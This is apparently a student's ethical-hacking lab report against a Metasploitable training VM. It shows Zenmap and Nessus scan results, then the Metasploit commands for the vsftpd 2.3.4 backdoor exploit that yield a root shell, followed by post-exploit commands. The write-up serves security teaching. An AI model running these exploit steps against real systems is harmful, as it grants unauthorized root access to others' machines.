Lab 4: Using Ethical Hacking Techniques to Exploit a Vulnerable Workstation

This lab went through the motivations and steps involved with "ethical hacking" as a part of an IT security program at a company. First, we went through the steps of reconnaissance, scanning targets, vulnerability analysis, exploitation, and post-attack activities. To carry out these steps, we used the tools Zenmap (Nmap) for recon, Nessus for scanning and enumeration, the Metasploit Framework for attack and exploit, and finally, recommended a specific solution to remediate the possible exploit.

SECTION 1: Hands-On Demonstration
Part 1: Use Zenmap to Scan a Subnet Address

Ports

The 977 ports scanned but not shown below are in state: **closed**

Port		State (toggle closed [0] | filtered [0])	Service	Reason	Product	Version	Extra info
21	tcp	open	ftp	syn-ack	vsftpd	2.3.4	
22	tcp	open	ssh	syn-ack	OpenSSH	4.7p1 Debian 8ubuntu1	protocol 2.0
23	tcp	open	telnet	syn-ack	Linux telnetd		
25	tcp	open	smtp	syn-ack	Postfix smtpd		
53	tcp	open	domain	syn-ack	ISC BIND	9.4.2	
80	tcp	open	http	syn-ack	Apache httpd	2.2.8	(Ubuntu) DAV/2
111	tcp	open	rpcbind	syn-ack		2	RPC #100000
139	tcp	open	netbios-ssn	syn-ack	Samba smbd	3.X - 4.X	workgroup: WORKGROUP
445	tcp	open	netbios-ssn	syn-ack	Samba smbd	3.0.20-Debian	workgroup: WORKGROUP
512	tcp	open	exec	syn-ack	netkit-rsh rexecd		
513	tcp	open	login	syn-ack			
514	tcp	open	shell	syn-ack	Netkit rshd		
1099	tcp	open	java-rmi	syn-ack	Java RMI Registry		
1524	tcp	open	shell	syn-ack	Metasploitable root shell		
2049	tcp	open	nfs	syn-ack		2-4	RPC #100003
2121	tcp	open	ftp	syn-ack	ProFTPD	1.3.1	
3306	tcp	open	mysql	syn-ack	MySQL	5.0.51a-3ubuntu5	
5432	tcp	open	postgresql	syn-ack	PostgreSQL DB	8.3.0 - 8.3.7	
5900	tcp	open	vnc	syn-ack	VNC		protocol 3.3
6000	tcp	open	X11	syn-ack			access denied
6667	tcp	open	irc	syn-ack	UnrealIRCd		
8009	tcp	open	ajp13	syn-ack	Apache Jserv		Protocol v1.3
8180	tcp	open	http	syn-ack	Apache Tomcat/Coyote JSP engine	1.1	

Screenshot 1: Open ports on the victim scan

Part 2: Conducting a Vulnerability Scan with Nessus

Severity	CVSS v3.0	Plugin	Name
CRITICAL	9.8	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	51988	Bind Shell Backdoor Detection
CRITICAL	10.0	33850	Unix Operating System Unsupported Version Detection
CRITICAL	10.0	34460	Unsupported Web Server Detection
CRITICAL	10.0*	32314	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	32321	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	11356	NFS Exported Share Information Disclosure
CRITICAL	10.0*	61708	VNC Server 'password' Password
CRITICAL	10.0*	10203	rexecd Service Detection

Screenshot 2: Critical security vulnerabilities for 172.30.0.55

Part 3: Exploit the Victim System using Metasploit

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set RHOST 172.30.0.55
RHOST => 172.30.0.55
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.30.0.7:35126 -> 172.30.0.55:6200) at 202
4-02-16 10:39:11 -0800

whoami
root
```

Screenshot 3: Result of the whoami command

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:50:56:ab:64:92
          inet addr:172.30.0.55  Bcast:172.30.0.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:feab:6492/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:25690 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21306 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3089369 (2.9 MB)  TX bytes:8380178 (7.9 MB)
          Base address:0x2000 Memory:fd5c0000-fd5e0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:339 errors:0 dropped:0 overruns:0 frame:0
          TX packets:339 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:141001 (137.6 KB)  TX bytes:141001 (137.6 KB)
```

Screenshot 4: Result of the ifconfig command

```
iptables --list
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Screenshot 5: List of iptables rules

2. Files downloaded from the virtual environment:

- *Zenmap Ping scan*
- *Zenmap Intense scan*
- *DaisyKopy_S1_VictimScan*

3. Recommended solution for the vstftpd vulnerability:

Validate and recompile a legitimate copy of the source code.

SECTION 2: Applied Learning

Part 1: Use Zenmap to Scan a Subnet Address

Port	Protocol	State	Service	Version
21	tcp	open	ftp	vsftpd 2.3.4
22	tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23	tcp	open	telnet	Linux telnetd
25	tcp	open	smtp	Postfix smtpd
53	tcp	open	domain	ISC BIND 9.4.2
80	tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111	tcp	open	rpcbind	2 (RPC #100000)
139	tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445	tcp	open	netbios-ssn	Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512	tcp	open	exec	netkit-rsh rexecd
513	tcp	open	login	
514	tcp	open	shell	Netkit rshd
1099	tcp	open	java-rmi	Java RMI Registry
1524	tcp	open	shell	Metasploitable root shell
2049	tcp	open	nfs	2-4 (RPC #100003)
2121	tcp	open	ftp	ProFTPD 1.3.1
3306	tcp	open	mysql	MySQL 5.0.51a-3ubuntu5
5432	tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900	tcp	open	vnc	VNC (protocol 3.3)
6000	tcp	open	X11	(access denied)
6667	tcp	open	irc	UnrealIRCd
8009	tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8180	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1

Screenshot 6: Open ports on the victim system

Part 2: Conducting a Vulnerability Scan with Nessus

Sev	Score	Name	Family	Count
CRITICAL	10.0 *	NFS Expor...	RPC	1
CRITICAL	10.0 *	rexecd Ser...	Service detection	1
CRITICAL	10.0	Unix Oper...	General	1
CRITICAL	10.0 *	VNC Serve...	Gain a shell remotely	1
CRITICAL	9.8	Bind Shell ...	Backdoors	1
MIXED	...	4 Apac...	Web Servers	4
CRITICAL	...	2 SSL (...	Gain a shell remotely	3
MIXED	...	3 Web ...	Web Servers	3

Screenshot 7: Critical vulnerabilities identified by Nessus

Severity	CVSS v3.0	Plugin	Name
CRITICAL	9.8	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	34970	Apache Tomcat Manager Common Administrative Credentials
CRITICAL	9.8	51988	Bind Shell Backdoor Detection
CRITICAL	10.0	33850	Unix Operating System Unsupported Version Detection
CRITICAL	10.0	34460	Unsupported Web Server Detection
CRITICAL	10.0*	32314	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	32321	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	11356	NFS Exported Share Information Disclosure
CRITICAL	10.0*	61708	VNC Server 'password' Password
CRITICAL	10.0*	10203	rexecd Service Detection

Screenshot 8: Details of the 55523 vulnerability

Part 3: Exploit the Victim System using Metasploit

```
cd /home
ls
eviltwinskippy
ftp
msfadmin
service
user
```

Screenshot 9: Contents of the /home directory

```
iptables --list
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Screenshot 10: List of iptables rules

```
Feb 16 14:56:16 metasploitable kernel: [ 2466.362694] **Remote Hack**IN=eth0 OUT
= MAC=00:50:56:ab:07:a0:00:50:56:ab:d0:16:08:00 SRC=172.30.0.7 DST=172.30.0.55 L
EN=52 TOS=0x00 PREC=0x00 TTL=64 ID=17464 DF PROTO=TCP SPT=34450 DPT=6200 WINDOW=
433 RES=0x00 ACK URGP=0
```

Screenshot 11: **Remote Hack** message in the log

2. Files downloaded from the virtual environment:

- *Zenmap Ping scan*
- *Zenmap Intense scan*
- *yourname_S2_VictimScan*

3. Recommended solution for the vstftpd vulnerability:

Validate and recompile a legitimate copy of the source code.